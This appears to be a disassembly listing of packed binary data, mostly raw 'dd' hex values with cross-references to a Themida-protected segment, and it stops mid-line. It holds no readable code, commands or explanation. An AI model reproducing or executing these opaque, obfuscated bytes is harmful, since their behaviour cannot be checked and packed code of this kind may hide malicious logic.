30152108h dd 0E32F2314h, 3D350168h, 4FC233F7h, 0BE2EE53Bh, 0AB74C09Dh dd 34C9BD91h, 0C46B4FCBh, 0CE84D15Dh, 0CE89DA82h, 0D98AA0B8h dd 56AB748Dh, 0F4C874AFh, 0CB3466D8h, 0F86BC64Fh, 0D68793DFh dd 9F6AB501h, 40178C47h, 0E33748F4h, 0FFCAE124h, 74C099CAh dd 94BC56ABh, 0F568BDC2h, 4EC654h, 81600000h, 4F221D69h dd 6569D7EDh, 498EB8EAh, 5C6D6556h, 0EBD1E90h, 1AF30E56h dd 203D2A00h, 0BD4B3B0Fh, 46E9560Eh, 24FD64DFh, 1CF74D1Bh dd 0CEA2B3A7h, 560EBDD8h, 0E44CB55Ch, 0B6CC9FB8h, 74CD56A2h dd 80AD928Dh, 0A43F7E7Ah, 0F24CE63Fh, 7B536981h, 5510C2Fh dd 6579231Ch, 0C503C73Ch, 16628B62h, 4FC77AA0h, 41926D94h dd 3A6A3FC0h, 0D769D06Ah, 3CC7A3C1h, 0F2498EC3h, 865B250Fh dd 24EF261Dh, 948B538Dh, 77049247h, 1E111D04h, 693A0438h dd 33491A3Bh, 0E03AD31Fh, 1D698166h, 80107A21h, 57F11953h dd 1C30h, 35BC600h, 6A8655D1h, 4FC6B2F4h, 864DD938h, 1B67813Ch dd 3FBC060Fh, 32h, 0D1035BD3h, 865A8655h, 0C6B2F46Ah, 3DD9384Fh dd 0C6B34135h, 0E18EF4Fh, 67813C86h, 3D112D1Bh, 4FC6B349h dd 541844EBh, 4FC6B362h, 59E32FD2h, 6981BC06h, 667A221Dh dd 0C6B3148Ah, 1DF9184Fh, 0C2340F55h, 16ED434Fh, 247BC9A1h dd 3B875AEEh, 27EE19F0h, 324E256Eh, 618C614Ch, 78C497C8h dd 0E4F6A791h, 0E53AC98h, 0A2990C43h, 71C87D99h, 0BF8BB9CFh dd 499333ECh, 2975DF42h, 120D5910h, 5B59E32Fh, 0A73D103h dd 6244B846h, 6ED8627Eh, 2E7C5586h, 0D78A568Ch, 0F52ED7A7h dd 13D020Ch, 5B1B6981h, 6D5B5986h, 98C4BA96h, 0C9684FC7h dd 7A7DC960h, 19538010h, 503057F1h, 0C6000000h, 55D1035Bh dd 68815A86h, 0EB348052h, 0CD34EF16h, 0B3352941h, 18F74FC6h dd 0AE77D32Ch, 0BBF9BB75h, 3C86E55Fh, 2D1B6781h, 0E22E2811h dd 2740069h, 324FC6B3h, 6F943CFh, 4E3FBCh, 0CDF10000h dd 0C6B38D01h, 0AFFBD44Fh, 0ADF9EE57h, 5B84BA54h, 4773D103h dd 0C6B31383h, 3539214Fh, 4FC6B341h, 19F50CF3h, 0F46A8623h dd 344FC6B2h, 3C8651CDh, 7A566781h, 4FC6B304h, 4B3A4D25h dd 1AF0D5F0h, 0C7000CF7h, 0CBA4CBFEh, 0BC06E862h, 221D6981h dd 3D89617Ah, 33B379F1h, 3D2E4FC2h, 4E0936F1h, 99BF4902h dd 277D8F3Ah, 176377ECh, 18667C1Dh, 8CDE33E0h, 0C7758C8Fh dd 7667D7F3h, 6AC54FCBh, 0ECCD77D0h, 0BF0BE0F6h, 0D8849D84h dd 0CB76A214h, 0A36F924Fh, 0A894AC8Ch, 5FABA394h, 75D897D3h dd 67504993h, 4A1F2874h, 19F54119h, 56302807h, 9FCF035Bh dd 2FA69D72h, 4D99B5A6h, 0B7AF88B4h, 0AD89E06Bh, 1A3B6997h dd 0D930FB47h, 6981073Dh, 107A211Dh, 0F1195380h, 503057h dd 5BC60000h, 0A73D103h, 901B671Dh, 0C0869034h, 20965A86h dd 144FC6B3h, 353921EDh, 4FC6B341h, 138347F3h, 214FC6B3h dd 253927FEh, 0C6B35549h, 6520C4Fh, 0E33EE43Dh, 3C86ED57h dd 0F1B6781h, 327E5586h, 3FC2FCE8h, 41h, 0C612C8F1h, 35BD26Ch dd 6A8655D1h, 4FC6B2F4h, 8651CD34h, 0F46A865Ah, 384FC6B2h dd 86073DD9h, 0E6307C55h, 724E5F79h, 0C6B2E85Eh, 87E54C4Fh dd 4FC6B317h, 5F9BF815h, 0C7F0C99h, 6120CF5h, 1D6981BCh dd 0D7ED4F22h, 20D41869h, 373837D2h dd 46B7FDBh, 32498EC6h, 2B024E05h, 18FA4A31h, 2E1AF33Fh dd 0D0CC4422h, 9A4FF84Fh, 0AFA2D54Eh, 0A881E863h, 0C199C681h dd 0DE69B5ABh, 0E9BAA28Bh, 29AA5F1h, 9DB29FA1h, 0A8728772h dd 0A58CC1CCh, 0D8297504h, 4C3E8B40h, 7FCB823Ah, 6AC45DC4h dd 0A2B82DE8h, 61C2DE56h, 39138A15h, 80DD3993h, 0E1421E6Ah dd 73655C67h, 9EA7736Fh, 19CFE501h, 96524408h, 3FE29B25h dd 44043FE6h, 0FC481F38h, 70E52032h, 55062E7Ah, 2713317Dh dd 25963323h, 141E019Bh, 12CA2Bh, 86880000h, 0F6317D55h dd 0B30C824Eh, 1204FC6h, 7330E28h, 241F6B81h, 18135F73h dd 1F287467h, 221D6980h, 150E5A75h, 26216D62h, 16115D79h dd 28236F69h, 19125E77h, 0E2895274h, 4C281h, 0EA830000h dd 24148704h, 6824248Bh, 3330h, 68241C89h, 70BEh, 68240C89h dd 64E7A25h, 81241C8Bh, 4C4h, 0C8B5400h, 4C48124h, 56000000h dd 0BB53DE89h, 8, 3389CB01h, 0C8B5E5Bh, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 52241C8Bh, 0C281E289h, 4 dd 4C281h, 14870000h, 0F0E95C24h, 0B1FFF9FAh, 0EB139675h dd 0B85A11EAh, 64E81F2h, 0E0FFC503h, 3620B64Dh, 72C02626h dd 1352846Fh, 3A1D391Fh, 6DAEB98Fh dword_5A5000 dd 83758D8Dh, 9D8B064Eh, 648184Dh, 0A198D89h, 6A0648h ; DATA XREF: Themida_:0053FE20o dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 440887C3h, 0BB18FA4h, 8D315D59h, 64827ADh, 30B18589h dd 85C70648h, 6480F35h, 5F94h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0F1C35141h, 0E81E2B24h, 6 dd 41BB85C6h, 0BB66F9C4h, 8B5A5FD5h, 4800B9BDh, 2585C706h dd 64824h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 2003C350h, 0B5FF101Bh, 64827B5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h dd 25A99D8Bh, 80520648h, 0FF584EE3h, 4820BD95h, 0FF006A06h dd 48306195h dword_5A50E4 dd 0EBC08B06h, 0F08E1F2Fh, 0A8B6B44Fh, 87DA5B6Bh, 0BA1AFAE8h ; DATA XREF: Themida_:0053F51Co dd 0E837D3DCh, 0DFE28CCAh, 28B4D94Eh, 0F435DF7h, 0D5F3FF29h dd 72601325h, 0DCB955F6h, 4281B98h, 9E8h, 364C9700h, 390D4AC1h dd 85299D2Bh, 64805ADh, 819D895Fh, 8106481Fh, 6F9AC7h dd 0F08B6600h, 1BBB68h, 0E1858900h, 5A06481Eh, 81078BF5h dd 13CB5CE9h, 19F0817Bh, 8916C075h, 48001195h, 0F2E88106h dd 8B5A7116h, 480E7DB5h, 4E88106h, 8B1FE5CBh, 4800859Dh dd 60078906h, 8161F28Bh, 0D237EBEFh, 0B9B58B17h, 8106481Ch dd 0D237E7C7h, 0E5852917h, 81064822h, 1EAh, 1E850F00h dd 8B000000h, 481A9DB5h, 25E906h, 3B9E0000h, 88DD8373h dd 0F5C43DADh, 0F6DA48FCh, 73E6126Dh, 0B58589DCh, 0E9064823h dd 0FFFFFF81h, 0DC0282EAh, 0E853E55Bh, 7, 10A1E834h, 33D73FB3h dd 482D1D8Dh, 8D895A06h, 6480E25h, 5EA9C281h, 9E90000h dd 0C9000000h, 8D294D2Bh, 0A6698C47h, 9C2BD2BFh, 51F7814Ch dd 814C9C3Ch, 0D6A1F5DBh, 0B932FF05h, 540C7ADFh, 3EEE815Eh dd 0F09F876h, 0EE81DBB7h, 4110CEFDh, 42C681F9h, 0B51D3F52h dd 958956C4h, 6481F81h, 83FC028Fh, 0EF8104EAh, 1, 18850Fh dd 0DCB50000h, 28E9h, 13710E00h, 93A62B0Ch, 67D609h, 0F92BE5A3h dd 8D0B5973h, 6481479h, 0FFFFA4E9h, 0C541CAFFh, 3C8501C5h dd 0C13CEEA6h db 10h byte_5A5275 db 2 dup(8Dh), 0BFh ; DATA XREF: Themida_:0053ECF0o dd 6A064E85h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0B4D7C352h, 0B09F331Eh, 1BE602Fh dd 0A198D89h, 9D290648h, 64824ADh, 0F3585C7h, 6CC00648h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 93E901C3h, 0C7D68B3Ah, 48242585h, 6, 0FD9D8900h dd 0FF06480Ch, 48228DB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 201C93CBh dd 2BCDE2FAh, 0E28171A1h, 1CB76A84h, 20BD95FFh, 0B58B0648h dd 6480C8Dh, 6AF08B66h, 6195FF00h, 8B064830h, 1D1AEBC0h dd 2A74EB25h, 1378291Eh, 40719D45h, 0F9B438B5h, 0BEFDC2F6h dd 0C65C1114h, 798D8DDAh, 6A064E86h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E6AAC351h dd 0BE9AE1Bh, 23000000h, 60CD298Dh, 0ACCD3D6Ch, 8D89D863h dd 6480A19h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0DBC35141h, 863F5CB8h, 85C73A63h, 6480F35h, 5AE4h dd 0B258509h, 81660648h, 0C7D281E2h, 48242585h, 6, 0A5958900h dd 0FF06480Fh, 4829E1B5h, 59BD2906h, 0FF064820h, 4820BD95h dd 0FF006A06h, 48306195h, 0EBC08B06h, 322B284Ah, 5E2DADB8h dd 2E2EAEA1h, 0C085DDAEh, 95EA474Bh, 0A6F5162Dh, 0DAD97C35h dd 0BA6C47ADh, 64D33BBEh, 0A82460D5h, 7D43AB19h, 0AD9490A3h dd 0AA234591h, 0A434282h, 194F0BAFh, 326960F0h, 0B5CCDAFEh dd 0E754ABACh, 8D2BB12Fh, 4E87AB8Dh, 198D8906h, 6A06480Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 1747C355h, 0E9E024D8h, 6, 41F9F901h, 0B1B47F1Ah dd 0F3585C7h, 59800648h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0E13D78C3h, 73436134h dd 0D8BF0F0Bh, 0B589D38Bh, 64813B9h, 242585C7h, 648h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0AB657AC3h, 436DA10Fh, 19798D89h, 0B5FF0648h, 6482281h dd 1F59B58Bh, 95FF0648h, 64820BDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0B4C35747h, 335B62D9h, 0BF0FE5CAh dd 6AF18AC0h, 6195FF00h db 30h, 48h word_5A551A dw 8B06h ; DATA XREF: Themida_:0053E6E8o dd 772DEBC0h, 914166Ah, 15F632D1h, 10157690h, 2D5FE87h dd 55478CA5h, 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh dd 56E5F46Bh, 3F6118E4h, 12E8h, 41A9C600h, 20C8D92Ah, 0B0702BF6h dd 0B730F956h, 603DAF0Ch, 2A098589h, 5E610648h, 1B85B589h dd 0C6810648h, 5ED4h, 6809E080h, 1785h, 69DBD01h, 0F5F0648h dd 389h, 0D8B70F00h, 0D2800E8Bh, 2CF18104h, 811EB8F4h dd 5CC66CCAh, 38C18160h, 6641F405h, 0CFF4C381h, 44A5C181h dd 958B1C45h, 64809A1h, 0C6B70F51h, 8166068Fh, 835D97E8h dd 55BB01EEh, 4E33BF6Fh, 9D894E4Eh, 64809FDh, 0F01EF83h dd 1F85h, 8E900h, 13FA0000h, 65CBCFCFh, 26E9AE12h, 0E5000000h dd 3EBC7C42h, 8D0AE9F6h, 8516FD2Ah, 0C69950Bh, 89E90648h dd 93FFFFFFh, 3C45905Ah, 0F32575E6h, 2013E51Bh, 898D8D4Bh dd 8B064E89h, 482371B5h, 198D8906h, 6A06480Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 6ED3C357h, 906BFF51h, 91BD2Bh, 85C70648h, 6480F35h dd 7284h, 1CD99D8Bh, 85C70648h, 6482425h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FEC35545h dd 0EAB0344Ah, 0BB663468h, 0B5FF1018h, 6481E3Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 68C35646h, 1411BC05h dd 0E8B3E122h, 0Eh, 1B0DCCB2h, 0B7B7910Fh, 85A5158Dh, 0DF8B62D8h dd 0BD95FF5Fh, 6A064820h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0E9AFC352h, 0FF006A01h dd 48306195h, 0EBC08B06h, 8212313Bh, 57C0219Ah, 769F4943h dd 111D3C4Ah, 0ECC8752Bh, 29D2A8B7h, 4C94A1C4h, 3214E11Dh dd 215EADFBh, 1BCCA0DCh, 87DC2E6Ch, 331021CAh, 3BBA9369h dd 0BE18FB1Fh, 3AAA6B09h, 8A998D8Dh, 6A064Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6561FEC3h dd 0B9858B40h, 89064820h, 480A198Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 2A73B43Ah dd 22C57A3h, 6890FD6h, 89000000h, 4829199Dh, 3585C706h dd 9006480Fh, 8100005Ch, 1E79D2C8h, 2585C724h, 64824h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0B704C350h, 0E5B5FFC9h, 6A064826h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 1BB2C351h, 51C8209Ah, 0BD95FFB1h, 0F5064820h dd 0FF006AF8h, 48306195h, 0EBC08B06h, 74422D5Eh, 0FA330B23h dd 0ACF63B33h, 8D1ABFE2h, 0FC175BAh, 0F1963367h, 41FBD675h dd 0F0D5B404h, 628F7FECh, 0E90A2D41h, 0D5AC1F96h, 0B8ACD438h dd 0F9FEC317h, 72BD3148h, 579B2F71h, 12E2B1F4h, 8C395415h dd 23CAB93Bh, 0AFE47B01h, 9E46A905h, 2DFDABA3h, 5AAF332Eh dd 23013B74h, 0C6025906h, 48276D85h, 0DF685606h, 0FFA9C530h dd 482195B5h, 1E858D06h, 0FF064B83h, 818D8DD0h, 5106482Eh dd 0B5FF406Ah, 64831E1h, 1ED1B5FFh, 0D0FF0648h, 31E1B5FFh dd 0B5FF0648h, 6481ED1h, 14E8h, 19C36800h, 6F3602CCh, 0E4F7692Fh dd 0A0DE6CABh, 0D5E76A7Eh, 835F5F01h, 2CC104EFh, 24C10224h dd 3C030224h, 241CF724h, 0C8BF62Bh, 0AEC18137h, 81360359h dd 32E261E9h, 0F5E98173h, 8945AD49h, 0EE81370Ch, 36CB167Ch dd 1678C681h, 343B36CBh, 0D3850F24h, 8DFFFFFFh, 481A759Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h dd 0DE8h, 971FC700h, 81ECF231h, 9E48A038h, 0CE8F68Dh, 0B7000000h dd 0F1932ECDh, 604F5CA8h, 56A2D59Eh, 5958C18Bh, 41C3815Bh dd 66000064h, 2B0E9BB8h, 38C0FD2h, 0F000000h, 3C8BC9B7h dd 68B0F13h, 81000000h, 5B4E37E6h, 6EEF8138h, 8B0BE768h dd 0D5EF81F1h, 814F6316h, 4EA72EFh, 27C08122h, 89046984h dd 0FE8133Ch, 0E0000000h, 0A4109C62h, 0D28DA20Bh, 0ED49311Ch dd 6059FD0Ch, 0DE08BA66h, 2EA8361h, 0CF8A4A4Ah, 9C88FA81h dd 850FFFFFh, 11h, 33E9C68Bh, 5A000000h, 8061B3D2h, 88A3752Ch dd 8C0F5723h, 16h, 11E9h, 88430800h, 5EB00843h, 9566EA4Eh dd 391AD311h, 0E959C71Ah, 0FFFFFF72h, 93CF64Bh, 0ABE96129h dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h dd 1E80097h, 3D94E7A6h, 820D8332h, 0EAE923F6h, 68000012h dd 64E8F16h, 0F9F01EE9h, 901E68FFh, 14E9064Eh, 68FFF9F0h dd 64E9139h, 0F9F00AE9h, 92BB68FFh, 0E9064Eh, 68FFF9F0h dd 64E9336h, 0F9EFF6E9h, 93F868FFh, 0ECE9064Eh, 68FFF9EFh dd 64E94ACh, 0F9EFE2E9h, 954068FFh, 0D8E9064Eh, 68FFF9EFh dd 64E960Fh, 0F9EFCEE9h, 973B68FFh, 0C4E9064Eh, 68FFF9EFh dd 64E9841h, 0F9EFBAE9h, 999968FFh, 0B0E9064Eh, 68FFF9EFh dd 64E9AF9h, 0F9EFA6E9h, 9CD968FFh, 9CE9064Eh, 68FFF9EFh dd 64E9DAEh, 0F9EF92E9h, 59A5B7FFh, 5BA7BEDFh, 5CA8C0E1h dd 5FABA3F4h, 5FABA4F5h, 0DB6066F5h, 0DF80B804h, 0C596BE0Ah dd 0C99AC20Eh, 78BC511h, 409707E3h, 3E955615h, 7C5586F4h dd 6179E630h, 49720A15h, 6CE94591h, 15896576h, 174FC6B3h dd 0B3271733h, 2A054FC6h, 4B322A03h, 5985E3F9h, 7C526880h dd 0FB4ED930h, 9288531Fh, 5BB6498Eh, 0D3CEC4D0h, 0C399560Eh dd 0A36FBB92h, 0C3E056ADh, 0F55B3931h, 0BCD9BE8Ch, 44CEE2CEh dd 36E3h, 0E95B7B00h, 8B168DD1h, 440807CDh, 4FC6FE52h dd 3FE63FE2h, 0E9F64D21h, 0D938498Eh, 4D05364Eh, 57E34601h dd 0F1A271Bh, 0B3124056h, 397CA23Dh, 0C8E15Bh, 86750000h dd 0E6307C55h, 964B6179h, 875E014Ah, 0F03BD23Bh, 0D34C984Fh dd 0BC9DAEA4h, 88FE5AA6h, 0AC4FC6B3h, 5FC09C85h, 1E548956h dd 2B141E7Ah, 520A560Ch, 0C78A6526h, 0CA16CC4Fh, 0CD19D192h dd 273DFF52h, 35392539h, 4FC78D41h, 6A020CF3h, 498F7451h dd 75BC749Bh, 0BB8FADC3h, 4FD4F5B3h, 998562BBh, 91E69183h dd 0E07CA385h, 0FBCFE0F7h, 4FC91F8Bh, 0B59F86A9h, 16D0E9h dd 0BEA39CE8h, 0D58ACB67h, 0FD5FA989h, 115ACCBCh, 104C2Ch dd 2D796B00h, 2F7B5203h, 307C5405h, 337F5708h, 337F5809h dd 2FB41A09h, 1344EC38h, 194AF23Eh, 1D3EF642h, 5B3FF945h dd 424B3B0Fh, 0AE95615h, 1A6681C8h, 1D698122h, 0E95B4933h dd 5E014D09h, 7BE9408Ch, 8E9E9C6Fh, 0F42FD249h, 0EDEE258h dd 1B677F56h, 2A766F10h, 0DA398F21h, 0E124122Fh, 0D814D71h dd 1F560EDFh, 9B283600h, 0E85B3941h, 0D8h, 1D69817Eh, 0E5A7522h dd 0B13C7715h, 8BAC4FC6h, 0A1BE89D5h, 8BA77ECAh, 70CC18CAh dd 0EA449047h, 0D11D3566h, 2B410356h, 9D9A313Dh, 0AD8E498Eh dd 88E16AB6h, 9B957CAEh, 0B804D6FFh, 8E69DB5Eh, 0EDECCC2h dd 68C16056h, 4B95F0FCh, 0D4054FD4h, 0C877B0FCh, 0A67BC410h dd 926DB37Fh, 85B68AB6h, 5CC57ECAh, 0C9399E10h, 0C20EC34Fh dd 0A78AA089h, 0C915CA8Bh, 91A7BA9Bh, 0AE938CD8h, 0C793BB57h dd 76B1FDEEh, 1D68793h, 171555B5h, 7BA4CCBCh, 0F449Ah dd 25716300h, 27736A2Bh, 28746C2Dh, 2B776F30h, 2B777031h dd 27AC3231h, 2B6CE430h, 3172EA36h, 1546EE3Ah, 5347F13Dh dd 43534307h, 2E15615h, 186681C0h, 0D3F469F6h, 7B70D31Bh dd 3D5ED62Fh, 255FD925h, 677D5586h, 43FC2571h, 4F0354DEh dd 43174803h, 777049F7h, 16470F2Bh, 0D2B2F442h, 0C4C3C4B0h dd 2D6FF5Dh, 7A946DB6h, 0AAC092C5h, 0A3BC67B3h, 0FE9BA1C7h dd 0EAD6729Bh, 0EFA5F199h, 6C087308h, 4FC792FAh, 483E123Ah dd 0EC4FC793h, 0FE52DC45h, 845D7E62h, 3E1AEF38h, 4FC79348h dd 3AE945ECh, 0FD1325C5h, 75C48B5Fh, 0D32C498Fh, 546AA06Ch dd 68BA54FDh, 879EEAFFh, 0D8E15A76h, 0EA5ABE94h, 504E52D0h dd 0AA83BA83h, 2C6DB2BEh, 0D93B51h, 0A1AD9BE7h, 47516CADh dd 9496A07Fh, 798AB26Dh, 0ACFED000h, 0CF62AC3Dh, 0E5E9576Dh dd 4117478Bh, 0D6EA56B9h, 4970E6EAh, 5DC44188h, 88499F0Fh dd 0A8728D41h, 7BC79BBCh, 7ECAA0C1h, 7F0744B0h, 7F6413Dh dd 0E29h, 10489448h, 124A964Fh, 114B9751h, 124A9650h, 124A9651h dd 9146CB13h, 974A0B45h, 9B50114Bh, 9EB4E54Fh, 0AAF6EA52h dd 1544B0A6h, 5D618456h, 20965A86h, 144FC6B3h, 474112EDh dd 0D545D53Fh, 0FA461C39h, 26726D4Eh, 55EA441Dh, 38243CFCh dd 0D01C3324h, 0B6952E46h, 7091498Eh, 4F57F759h, 0DDF14FF7h dd 560F0E69h, 58CA64CBh, 88B87FB9h, 1BF8D470h, 114FD6F5h dd 0F60735EEh, 8FB6B6B8h, 0E7838F24h, 4FC6E173h, 9707BEF4h dd 0F2DBF486h, 1C3FCD3Fh, 401EF844h, 54F19BA3h, 62E0h dd 0E95B7600h, 855975D3h, 0E7498EF9h, 283B1C48h, 443874DCh dd 21560EFEh, 7B5FFD49h, 0E203E422h, 14FEF4Fh, 560F168Dh dd 0A2B6809Fh, 27659D06h, 0DEDACCA0h, 0B75A560Eh, 993C634Ch dd 809A73BFh, 0EFFB0CDFh, 560EC97Fh, 70BB52ADh, 2777ABD4h dd 92FE9275h, 7A49AB6h, 0A988560Fh, 0D278E8Dh, 5B440000h dd 5975D3E9h, 49883FC4h, 382E422Ah, 0FC561540h, 6750EC15h dd 36825D73h, 2B2314EDh, 520E46DFh, 27206C69h, 7367F842h dd 0E3551C27h, 49024E03h, 21B49E0h, 22C5C4C7h, 36825864h dd 4AED14EDh, 6FEB4793h, 0D72D6B5Bh, 0FA66C94Fh, 93BD09E1h dd 98C410C2h, 16B6A8C4h, 9B764FC7h, 859EC67Fh, 0A1A09FA2h dd 0A295A11Eh, 12DE8AA2h, 498ED44Dh, 1492A07Fh, 55CAF688h dd 0CA72B0Ah, 16C60000h, 14D192CAh, 19CF90C8h, 1C3263CDh dd 203768D0h, 0D5FD5CD4h, 114B9750h, 0E34D9950h, 0DB55A1B2h dd 0F45CA8BAh, 0BEB0BCE0h, 6E561545h, 1C964B57h, 1F4FC6B3h dd 9559071Dh, 49883EA9h, 0EFC8749Bh, 0D985AFFBh, 3F75E905h dd 58B75615h, 0B3C9A1BEh, 6EB9509Ch, 0E58399ABh, 8591DDF4h dd 5EA001DDh, 9CDF5CCAh, 841753DFh, 6A4FDD5Fh, 3C2167C7h dd 0AB74CCB8h, 0C2C4Ah, 4D994B00h, 4F9BB2E3h, 509CB4E5h dd 539FB7E8h, 539FB8E9h, 0CF547AE9h, 3364CC18h, 396AD21Eh dd 3D5ED622h, 7B5FD925h, 462B1B2Fh, 0EA095615h, 1D6981E8h dd 0F945163Fh, 6D68DB2Eh, 14301521h, 66E12D23h, 4BD42039h dd 52030FF6h, 2F083480h, 1B24EE3Ah, 9A10F321h, 54F11205h dd 6997Eh, 0E95B1800h, 704975D3h, 49202B77h, 1AF44016h dd 883EF152h, 98C46B49h, 57545BC4h, 9C87D38Ah, 0B783E983h dd 0F068B4A6h, 7FCB83B4h, 64B0A2B3h, 1CD9D1DBh, 0AC8D5615h dd 0FE6463B1h, 671A6762h, 7BBD74BEh, 0E0F3F765h, 0E4FDCE1h dd 68E32F29h, 4FD82437h, 1CFA13FAh, 0CCB8B2FAh, 6A896CB7h dd 8900000Bh, 8CCD87D3h, 8ACB85D1h, 91D28AD6h, 8ECF89D5h dd 0B4A38DD9h, 82CE890Eh, 84D089DAh, 8CD88BCCh, 93DFF3A4h dd 0E5E935A9h, 56154671h, 811E20C3h, 75221D69h, 0E16115Dh dd 9CBD2DE8h, 0BB9975C1h, 54F11228h, 5ED5Bh, 1C96F300h dd 1F4FC6B3h, 9559071Dh, 49883E76h, 0BF9BC968h, 6D856F5Eh dd 825BE425h, 1243CF36h, 1B3CF440h, 27383147h, 15223323h dd 71E0156h, 203CE53Ch, 0AAFCFFFh, 15565046h, 0E23DE456h dd 2C18FA18h, 150C2E20h, 1723FE56h, 4159EB2Eh, 5C626464h dd 97C55CA6h, 0DD5640D3h, 313EE4Fh, 0CCB826E9h, 0B6BA9BC4h dd 0D500000Ah, 0D889B3FFh, 0D687B1FDh, 0DD7EB602h, 0DA7BB501h dd 0A07FB905h, 4E9AB53Ah, 509CB5E6h, 58A4B7E8h, 5FABBFE0h dd 0B1BDE1F5h, 561547BDh, 814A546Fh, 75221D69h, 0E16115Dh dd 2CB72DE8h, 5754F112h, 53Eh, 0D3E95BEFh, 11854975h, 234FC6B3h dd 262A32FCh, 49883E5Ah, 0D987AAh, 0BDA49FEBh, 1AD0E971h dd 1D3566CEh, 2A034F07h, 0F4401D3Eh, 1387251Ah, 2856153Fh dd 73640018h, 5B07135Fh, 0DD357C8Fh, 0BF4FB24Fh, 0CCB8063Bh dd 22C035FEh, 4100000Ah, 2475DF2Bh, 2273DD29h, 297AE22Eh dd 2677E12Dh, 0EC6BE531h, 3A8661E6h, 3C886102h, 44904314h dd 4B974B0Ch, 8D618D11h, 56154819h, 8676B81Bh, 0F6317D55h dd 84560713h, 6955EF38h, 0C6B2F165h, 3F12434Fh, 38D138F3h dd 536981DEh, 0EE606C7Dh, 3E4FC6B2h, 28014AE3h, 0A2BE4601h dd 0C6509CB9h, 9DC13194h, 0C6B3DDD1h, 66B04F4Fh, 0F111EBF8h dd 0BFB4CD54h, 5AE1BDB2h, 6FD855E1h, 6E000004h, 20965A86h dd 144FC6B3h, 564921EDh, 0E74FC6B3h, 4D213F55h, 49883EA0h dd 0E4D5738Eh, 0E9BAA2EEh, 0F506DBF1h, 153F65D9h, 0C168C756h dd 0DE8AA386h, 8C97E3FDh, 8DE459B5h, 0A3A795ABh, 4FDD3968h dd 1D9B7B96h, 18CCB803h, 953EE4Fh, 62720000h, 607D1E16h dd 657B1C14h, 687E1F19h, 6C63341Ch, 0A1293820h, 3DF7431Ch dd 3FF9451Ch, 57014D1Eh, 50085406h, 5A4C204Ch, 0DA561549h dd 6981B7FBh, 40163F1Dh, 540C2BF4h, 43EA3F08h, 39314EF7h dd 7FD732EDh, 0E4E8D444h, 4FC6B372h, 82D35FC2h, 8ACC84D0h dd 54F115F5h, 1498Eh, 69812800h, 5D75221Dh, 0F0502711h dd 120D590Eh, 666AD62Fh, 498E9215h, 0F57FC867h, 560ED37Dh dd 9309CCEAh, 5B393210h, 4A73h, 0E95B0B00h, 825975D3h dd 26498E9Eh, 410D1E35h, 560EDF4Dh, 5EE940DFh, 0DF342A46h dd 19F8560Eh, 0FA1B17F0h, 705F7019h, 0FFD384A6h, 0C3D15AB3h dd 560FA6CFh, 0E55BBA98h, 5B3A08DAh, 0AAA9h, 97425B00h dd 0EAB79562h, 81E15BB7h, 75221D69h, 67150E5Ah, 0B3077753h dd 0A254FC6h, 0EF3B2F30h, 2E5A3051h, 0AC6EAC58h, 0A8BADD62h dd 0CBB8F45Ch, 964FC77Eh, 79C078C4h, 0A793B1C7h, 938CD88Eh dd 2B0864AEh, 21498CEFh, 5D7962FEh, 7C5D0511h, 7C1D1763h dd 0C7F71763h, 0B2CAF4F3h, 8279489h, 96460000h, 9451124Ah dd 994F1048h, 9CB2E34Dh, 0A0B7E850h, 557DDC54h, 91CB17D0h dd 63CD19D0h, 5BD52132h, 74DC283Ah, 3E303C60h, 0EE56154Ah dd 5586CBD7h, 0CF52E7Ah, 2E7A5502h, 73495A06h, 0ACA1712Ch dd 12C895A1h, 86B48EC6h, 0E023E21Dh, 439E68A0h, 7262418Bh dd 0C198CB62h, 0BB57AA75h, 0E07CC89Ah, 8C97E3F7h, 0B3E459B5h dd 0BDE9539Fh, 0A9FBAB64h, 0EF4BF14Bh, 2792Ch, 0E95BE200h dd 625975D3h, 0CC498EACh, 